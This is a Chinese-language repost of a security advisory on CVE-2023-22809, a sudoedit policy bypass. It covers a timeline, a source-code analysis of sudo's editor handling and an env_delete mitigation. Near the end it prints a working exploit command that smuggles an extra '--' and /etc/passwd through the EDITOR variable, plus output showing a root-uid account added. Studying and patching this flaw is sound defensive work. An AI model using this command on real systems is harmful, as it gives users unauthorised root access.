简介
1. sudo的介绍
sudo (su "do" )允许系统管理员将权限委托给某些用户(或用户组),能够以root用户或其他用户身份运行部分(或全部)命令,
2. 问题
Synacktiv在Sudo版本1.9.12p1中使用sudoedit时发现了sudoers策略绕过。这漏洞可能通过编辑未经授权的文件导致权限升级。
3.缓解
使用sudoedit时,将受影响的环境变量添加到env_delete拒绝列表中。
Defaults
!SUDOEDIT env_delete+=
"SUDO_EDITOR VISUAL EDITOR"
Cmnd_Alias
SUDOEDIT = sudoedit /etc/custom/service.conf
user
ALL
=(
ALL
:
ALL
) SUDOEDIT
4.影响版本
1.8.0到1.9.12p1版本受影响
5.时间线
2022
.12
.23
Advisory
sent
to
Todd
.Miller
@
sudo
.
ws
.
2023.01
.
05
Patch sent by Todd Miller.
2023.01
.
06
CVE-
2023
-
22809
assigned.
2023.01
.
12
Advisory sent to [email protected].
2023.01
.
18
Public release.
二、漏洞描述
sudo使用用户提供的环境变量让用户选择他们所选择的编辑器。的内容其中一个变量扩展了传递给sudo_edit()函数的实际命令。
然而,后者依赖于——参数的存在来确定要编辑的文件列表。注入在一个已授权的环境变量中使用额外的——参数可以更改此列表并导致特权通过编辑具有RunAs用户权限的任何其他文件来升级。这个问题发生在sudoers之后。
分析
sudoers策略插件首先调用sudoers_policy_main()来处理的查找和验证使用sudoers_lookup()的策略。不过,在此功能结束后,策略成功验证时,使用名为find_editor()的编辑器查找方法重写命令。
// plugins/sudoers/sudoers.c@sudoers_policy_main()
int
sudoers_policy_main
(
int
argc,
char
*
const
argv[],
int
pwflag,
char
*env_add[],
bool
verbose,
void
*closure)
{
// [...]
validated = sudoers_lookup(snl, sudo_user.pw, &cmnd_status, pwflag);
// [...]
if
(ISSET(sudo_mode, MODE_EDIT)) {
// [...]
safe_cmnd = find_editor(NewArgc -
1
, NewArgv +
1
, &edit_argc, &edit_argv,
NULL
,
&env_editor,
false
);
该函数首先使用用户提供的三个环境变量执行编辑器查找文档,SUDO_EDITOR, VISUAL和EDITOR。
// plugins/sudoers/editor.c@find_editor()
char
*
find_editor
(
int
nfiles,
char
**files,
int
*argc_out,
char
***argv_out,
char
*
const
*allowlist,
const
char
**env_editor,
bool
env_error)
{
// [...]
*env_editor =
NULL
;
ev[
0
] =
"SUDO_EDITOR"
;
ev[
1
] =
"VISUAL"
;
ev[
2
] =
"EDITOR"
;
for
(i =
0
; i < nitems(ev); i++) {
char
*editor = getenv(ev[i]);
if
(editor !=
NULL
&& *editor !=
''
) {
*env_editor = editor;
editor_path = resolve_editor(editor,
strlen
(editor), nfiles, files,
argc_out, argv_out, allowlist);
如果存在,则将每个值发送到resolve_editor()进行解析。然而,后者不仅如此解析编辑器的路径,但也接受在最后的命令行中传递的额外参数。类中的文件分开,这些参数放在——(双破折号)参数之前原来的命令行。
// plugins/sudoers/editor.c@resolve_editor()
static
char
*
resolve_editor
(
const
char
*ed,
size_t
edlen,
int
nfiles,
char
**files,
int
*argc_out,
char
***argv_out,
char
*
const
*allowlist)
{
// [...]
/*
* Split editor into an argument vector, including files to edit.
* The EDITOR and VISUAL environment variables may contain command
* line args so look for those and alloc space for them too.
*/
cp = wordsplit(ed, edend, &ep);
// [...]
editor = copy_arg(cp, ep – cp);
/* Count rest of arguments and allocate editor argv. */
for
(nargc =
1
, tmp = ep; wordsplit(
NULL
, edend, &tmp) !=
NULL
; )
nargc++;
if
(nfiles !=
0
)
nargc += nfiles +
1
;
nargv = reallocarray(
NULL
, nargc +
1
,
sizeof
(
char
*));
// [...]
/* Fill in editor argv (assumes files[] is NULL-terminated). */
nargv[
0
] = editor;
// [...]
for
(nargc =
1
; (cp = wordsplit(
NULL
, edend, &ep)) !=
NULL
; nargc++) {
/* Copy string, collapsing chars escaped with a backslash. */
nargv[nargc] = copy_arg(cp, ep - cp);
// [...]
}
if
(nfiles !=
0
) {
nargv[nargc++] =
"--"
;
while
(nfiles--)
nargv[nargc++] = *files++;
}
nargv[nargc] =
NULL
;
*argc_out = nargc;
*argv_out = nargv;
然后使用生成的命令调用sudo_edit()函数。找到临时工作后可写目录(/var/tmp, /usr/tmp, /tmp或操作被取消),方法解析命令行提取要处理的文件列表。为此,前面的——(双破折号)参数是用作分隔符,其右边的每个参数都被视为要处理的文件名。
// src/sudo_edit.c@sudo_edit()
int
sudo_edit
(struct command_details *command_details)
{
// [...]
/*
* Set real, effective and saved uids to root.
* We will change the euid as needed below.
*/
setuid(ROOT_UID);
// [...]
/* Find a temporary directory writable by the user. */
set_tmpdir(&user_details.cred);
// [...]
/*
* The user's editor must be separated from the files to be
* edited by a "--" option.
*/
for
(ap = command_details->argv; *ap !=
NULL
; ap++) {
if
(files)
nfiles++;
else
if
(
strcmp
(*ap,
"--"
) ==
0
)
files = ap +
1
;
else
editor_argc++;
}
在之前的环境中注入额外的双破折号时,这种行为会导致混乱用于查找编辑器的变量。
EDITOR
=
'vim -- /path/to/extra/file'
使用这个值,命令行将被解析为:
vim --
/path/
to/extra/file --
/path/
from
/policy
因此,假设采用以下策略,用户将能够通过编辑将权限升级到root
系统中的敏感文件。
$ cat /etc/sudoers
user ALL=(
ALL:
ALL) sudoedit /etc/custom/service.conf
[...]
$ EDITOR=
'vim -- /etc/passwd'
sudoedit /etc/custom/service.conf
sudoedit:
--: editing files
in
a writable directory is
not
permitted
2
files to edit
sudoedit:
/etc/custom/service.conf unchanged
$ tail -
1
/etc/passwd
sudoedit::
0
:
0
:root
:/root
:/bin/bash
影响
此漏洞允许被授权使用sudoedit编辑文件的用户编辑其他文件配置的RunAs用户。
修复建议
使用sudoedit时,将受影响的环境变量添加到env_delete拒绝列表中。
例子:
env_delete
+=
"SUDO_EDITOR VISUAL EDITOR"
Cmnd_Alias
SUDOEDIT = sudoedit /etc/custom/service.conf
user
ALL
=(
ALL
:
ALL
) SUDOEDIT
referer:
https:
/
/www.synacktiv.com/sites
/default/files
/2023-01/sudo
-CVE-
2023
-
22809
.pdf
文章来源:洛米唯熊
仅用于学习交流,不得用于非法用途
如侵权请私聊公众号删文
原文始发于微信公众号(渗透Xiao白帽):漏洞速递 | CVE-2023-22809 漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论